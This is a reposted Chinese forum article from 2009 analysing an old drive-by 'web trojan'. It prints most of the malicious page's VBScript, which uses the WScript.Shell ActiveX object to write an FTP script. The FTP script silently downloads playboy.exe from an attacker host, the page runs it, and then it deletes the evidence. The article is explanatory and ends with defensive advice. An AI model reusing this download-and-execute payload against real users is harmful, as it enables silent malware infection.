找回密码
 注册
搜索
热搜: 回贴
微赢网络技术论坛 门户 安全攻防 查看内容

揭开“远古”网页木马的神秘面纱(图)

2009-12-14 02:31| 发布者: admin| 查看: 25| 评论: 0|原作者: 云天青

应用文]揭开“远古”网页木马的神秘面纱

writer: demonalex
email: demonalex_at_hackermail.com
http://demonalex.nease.net


在现时的这个资讯发达的年代,会做网页的人就不少了,但会做网页木马的人又有多少呢?(PS:一定不会比会做网页
的人多:P)
“做网页木马难吗?”
“如何做啊?需要一些什么工具吗?”
......
然后论坛者的‘跟帖’更是众说纷纭。也许你只知道是浏览了某个网站的网页,自己的机器就会“中标”了,至于为什么
会“中标”,它的原理是什么,这些也许你都没有再“追寻”下去了(或许你什么都知道,如果是的话,下面这篇烂文你
就不用再看下去了:P)。
最近很幸运,笔者小神从一封可疑的、没有署名的Email中得到了一个带俗称‘网页木马’的url路径地址(看来小神
的仇家还真不少,以后出门要小心了-_-b)。既然说是可疑当然就不能直接打开来看了,但好奇心又促使着我进入那个网
址,几番“挣扎”后决定使用特殊一些的工具上去查看一下这个url的“虚实”。

(使用“火眼”打开该url地址)

(PS:上图的遮盖部分为带网页木马的网站IP地址)

-------------------------------------------------------------------------------------------------------------
附录:“火眼”的下载地址:
http://www.hfjinwei.com/temp/huoyan.rar
注:“火眼”是一只网页源码查看器,另外还附带一些特殊的功能,如查找恶意网页代码与自定义恶意网页代码查找等。
-------------------------------------------------------------------------------------------------------------
从图中可以清楚地看到这个静态网页的结构。因为只有简短的几行,因此没有什么可疑的地方,除了:
〈object data="http://该主机的IP地址/playboy.test"〉〈/object〉
〈embed align="center" src="http://该主机的IP地址/gei.swf" width="500" height="500" border="1"〉〈/embed〉
这两行标签。瞎了眼的人都能看得出来就是playboy.test与gei.swf这两个文件最为可疑了(用语夸张了点吧:P)。
gei.swf是个FLASH动画文件,但为了安全起见还是用flashget通过它的url把它DOWNLOAD下来吧(毕竟现在的FLASH跨站攻击
是挺厉害的),然后用flashhacker将其反‘编译’,无收获(因为FLASH跨站攻击的内容超出了本文的范围,因此就不再多
作解析了,大家有空可以去查阅相关的资料)。下面接着看playboy.test。使用相同的方法用“火眼”查看这个文件。


(PS:上图的遮盖部分为带网页木马的网站IP地址,留意看看窗体下方的“火眼”分析提示-_-b,所以说有的时候不要麻木地
相信所有的工具......)

仔细看一下吧,其实这整个“网页木马”的‘玄机’都暴露在playboy.test这个HTML中了。为什么说它是HTML文件呢?它的
扩展名不是*.test吗?其实这是木马安放者用来迷惑大家的,因为当浏览器在无法查别该文件是什么类型时就会第一时间尝
试以HTML的格式来打开它了,这样刚好应了攻击者的要求。

现在分析一下它的代码。
首先从第三行开始看起(第一、二行为基本的HTML标签,大伙有兴趣可以查阅相关的教程):
〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉
object标签用于在HTML文件中定义一个ActiveX外部对象类,以此以便后文调用该对象。从上面这一个标签对可以看出该定
义的对象名为‘wsh’,至于它是什么对象类就不清楚了。如何是好呢?既然你不知道,那执行这段脚本的WSH(Windows Sc
ripting Host)又是怎么知道的呢?
-------------------------------------------------------------------------------------------------------------
提示:什么是WSH(Windows Scripting Host)?
答:Windows Scripting Host这个概念最早出现于Windows 98操作系统。大家一定还记得MS-Dos下的批处理命令,它曾有效
地简化了我们的工作、带给我们方便,这一点就有点类似于如今大行其道的脚本语言。但就算我们把批处理命令看成是
一种脚本语言,那它也是98版之前的Windows操作系统所唯一支持的“脚本语言”。而此后随着各种真正的脚本语言不断
出现,批处理命令显然就很是力不从心了。面临这一危机,微软在研发Windows 98时,为了实现多类脚本文件在Windows
界面或Dos命令提示符下的直接运行,就在系统内植入了一个基于32位Windows平台、并独立于语言的脚本运行环境,并
将其命名为“Windows Scripting Host”。WSH架构于ActiveX之上,通过充当ActiveX的脚本引擎控制器,WSH为Windows
用户充分利用威力强大的脚本指令语言扫清了障碍。再具体一点描述:你自己编写了一个脚本文件,如后缀为*.vbs或*.j
s的文件,然后在 Windows 下双击并执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个
程序,就是Windows Scripting Host,程序执行文件名为Wscript.exe(若是在命令行下,则为Cscript.exe)。
-------------------------------------------------------------------------------------------------------------
WSH是通过该object标签的classid属性来识别它所调用的ActiveX外部对象类的,classid也叫做类ID,是每一个WIN32系统
所能识别的ActiveX对象类的唯一ID号。现在我们知道了ActiveX类ID号,如何能知道它是什么ActiveX对象类呢?很简单,
大伙跟小神一块打开注册表。



进入注册表以后,按菜单栏的“编辑”->“查找...”(如下图)。



在“查找目标”中输入我们已经知道的那个classid值,按“查找下一个”按钮。在‘漫长’的等待过程过后...(得到下图)


(从右边的键值显示区中看到这个是什么对象类了吧?)

从上图中我们可以看出木马安放者让我们调用的ActiveX对象类是“Windows Script Host Shell”对象类,这个类出了名是
骇客最喜欢用的类之一(看到这里已经可以猜到这个网页不是什么好东西了:P)。其实楼上的那对object标签也可以直接放入
SCRIPT标签对中,用VBScript可以写成:
Dim wsh
Set wsh=CreateObject("WScript.Shell")
说说重点吧,这个类最“骇人听闻”的就是它的其中一个最主要的调用“方法”---run方法,格式:
wsh.Run("程序命令行")
使用它就能在网页的解析端(客户端,也就是浏览该网页的用户主机上)随意地执行所有级别的执行程序了。(PS:留意一下,
下面你就可以看到这个方法的调用过程了:P)
现在让我们回到playboy.test分析部分,第四行开始的是SCRIPT的标签对及其内容部分了,在SCRPIT标签中定义了标签
对中的解释脚本为VBScript。SCRIPT标签对的内容(详细请看下面每条语句后面紧跟的解释部分):
Dim fs,t '声明两个变量fs与t
Set fs=CreateObject("Scripting.FileSystemObject") '定义变量fs为Scripting.FileSystemObject类对象
Set t=fs.CreateTextFile("playboy.txt,True) '定义变量t为新建文档playboy.txt的操作句柄对象
t.WriteLine("open 放置木马的FTP主机地址") '向playboy.txt写入一个文本
t.WriteLine("ftp")
t.WriteLine("any@any.net")
t.WriteLine("bin")
t.WriteLine("lcd c:\")
t.WriteLine("get playboy.exe")
t.WriteLine("bye")
t.Close '关闭文件操作句柄
为了实验一下这段代码的功能,小神当即将上面的代码拷贝下来,放在一个扩展名为vbs(VBSCRIPT脚本)的ASCII文件文件中
,并在cmd shell下运行,随即发现在该VBSCRIPT脚本的同一目录下生成一个名为playboy.txt的文本文件。打开后:


(遮盖部分为放置木马的FTP主机地址)

现在知道那段VBS代码是干什么的了吧?至于它所生成的这个playboy.txt都有什么作用呢?朋友,继续往下看吧。
wsh.Run "ftp -s:playboy.txt",0,true
这一行调用了三个参数的run方法格式,用于使用刚刚生成的脚本型文档playbox.txt与FTP服务器进行交互式通信。
-------------------------------------------------------------------------------------------------------------
附录:关于WScript.Shell的Run方法的三参数格式如下:

WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])

参数

strCommand
在 strCommand 参数内部的环境变量被自动扩展。

intWindowStyle
这是为新进程在STARTUPINFO结构内设置的wShowWindow元素的值。其意义与ShowWindow中的nCmdShow参数相同,可取以下值
之一。
SW_HIDE
0 隐藏窗口并激活另一窗口。
SW_MINIMIZE
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。
SW_RESTORE
9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标
志。
SW_SHOW
5 以当前大小和位置激活并显示窗口。
SW_SHOWMAXIMIZED
3 激活窗口并以最大化显示该窗口。
SW_SHOWMINIMIZED
2 激活窗口并以最小化显示该窗口。
SW_SHOWMINNOACTIVE
7 最小化显示窗口。活动窗口保持活动。
SW_SHOWNA
8 以当前状态显示窗口。活动窗口保持活动。
SW_SHOWNOACTIVATE
4 按窗口最近的大小和位置显示。活动窗口保持活动。
SW_SHOWNORMAL
1 激活并显示一个窗口。若窗口是最小化或最大化,则恢复到其原来的大小和位置。

blnWaitOnReturn
如果未指定blnWaitOnReturn或其值为FALSE,则该方法立即返回到脚本继续执行而不等待进程结束。
若blnWaitOnReturn设为TRUE,则Run方法返回由应用程序返回的任何错误代码。如果未指定blnWaitOnReturn或其值为FALSE,
则Run返回错误代码0(zero)。
-------------------------------------------------------------------------------------------------------------
通过上面的附录可以清楚地看到最后的那两个参数只是影响Run方法的执行状态与形式,而不影响它的执行语句本身,那么第
一个Run方法的执行语句就是:
ftp -s:playboy.txt
通过实验我们得知这条语句是以批处理的形式执行FTP连接的。既然是这样我们就试试直接以手动的方式来模拟那个play
boy.txt工作吧,看看会有什么结果(如下图)。


(上图的遮盖部分为带网页木马的FTP服务器地址与主机号)

当整个‘批处理’的手动过程完成后我们可以在本地机器的C:\下发现一个名为playboy.exe的执行程序。现在再回到“作
案现场”,看看第二个Run方法的调用情况:
wsh.Run "c:\playboy.exe"
嘿嘿,这个playboy.exe是什么东西相信也不用小神多说了吧(十有八九是木马的服务端了,不相信?运行它试试看吧,PS:
出了事别拿砖头砸小神的脑袋就好:P)?
至于最后的两行嘛,是为了掩人耳目用的:
fs.DeleteFile "playboy.txt",true '强行删除playboy.txt文件(注:第一个参数为删除目标,第二个参数为是否强行删
'除)
windows.close '关闭该窗体

总结:

从刚才分析了整个“网页木马”的结构来看,站在攻击者的角度可以归纳出三点针对攻击手法的必要技术元素:
1)被攻击者的IE浏览器版本号比较低(5.X)
2)被攻击者的浏览器必须启用“运行ActiveX控件和插件”(原因是因为那个playboy.test文件所调用的Shell脚本是通过Ac
tiveX控件解释执行的)
3)攻击者必须拥有一个WEB服务器与FTP服务器(不一定要是同一台机器)
4)拥有一只不错的木马(当被攻击者下载该木马服务器时能够躲杀毒软件的‘追捕’,运行时能穿透被攻击者的网络防火墙)

当然,这类攻击也会有一定的弊端了:
1)若被攻击者的IE浏览器版本号比较高(6.X)就‘没辙’了...
2)对那些连“运行ActiveX控件和插件”也禁用的‘极度小心主义者’是不起作用的
3)有可能暴露攻击者的FTP服务器信息(如帐号密码等等)
4)良好的个人防御系统(包括杀毒防火墙与网络防火墙)能有效地阻止木马类的攻击

学习某种黑客技巧的攻击方法只是为了更好地去防止与杜绝它的“发生”,但如果你只是一名“什么都不想知道”的个
人用户但又想防止此类攻击于“未然”的话,那我劝你还是尽早升级你的IE浏览器(升至6.X)吧。

最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-10-1 03:23 , Processed in 0.166027 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部